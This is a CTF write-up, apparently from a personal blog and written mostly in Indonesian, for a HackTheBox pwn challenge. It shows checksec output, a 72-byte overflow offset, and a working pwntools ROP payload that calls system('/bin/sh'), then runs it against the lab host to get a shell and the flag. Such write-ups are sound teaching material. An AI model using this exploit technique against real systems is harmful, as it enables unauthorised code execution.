← all writeups
pwnHackTheBox — pwnshop · 450 pts · 9 min read

Buffer Overflow to ROP Chain

2026-09-12 · by Fakhrity Hikmawan

Buffer Overflow to ROP Chain

//Recon

Binary-nya stripped, 64-bit, dengan NX enabled tapi tanpa PIE dan tanpa canary. Artinya kita tidak bisa inject shellcode, tapi alamat binary statis — kandidat sempurna untuk ROP.

Fungsi vuln() membaca 512 byte ke buffer 64 byte dengan gets(). Overflow klasik.

bash
$ checksec ./vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

//Finding the offset

Dengan cyclic pattern dari pwntools, kita temukan offset ke return address di 72 byte. Setelah itu, kita butuh gadget untuk mengisi rdi dengan alamat '/bin/sh'.

python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]  # stack alignment

payload = flat(
    b"A" * 72,
    pop_rdi,
    next(elf.search(b"/bin/sh")),
    ret,
    elf.symbols["system"],
)

//Exploit

Gadget 'ret' ekstra diperlukan untuk alignment stack sebelum memanggil system() — tanpa itu, movaps di dalam libc crash. Setelah dikirim, shell langsung terbuka dan flag bisa dibaca.

bash
$ python3 solve.py
[+] Opening connection to pwnshop.htb on port 1337: Done
[*] Switching to interactive mode
$ cat flag.txt
HTB{r0p_ch41ns_4r3_just_l3go}

flag{thanks_for_reading}

Questions or a cleaner solution? Reach out — I update writeups when I learn a better way.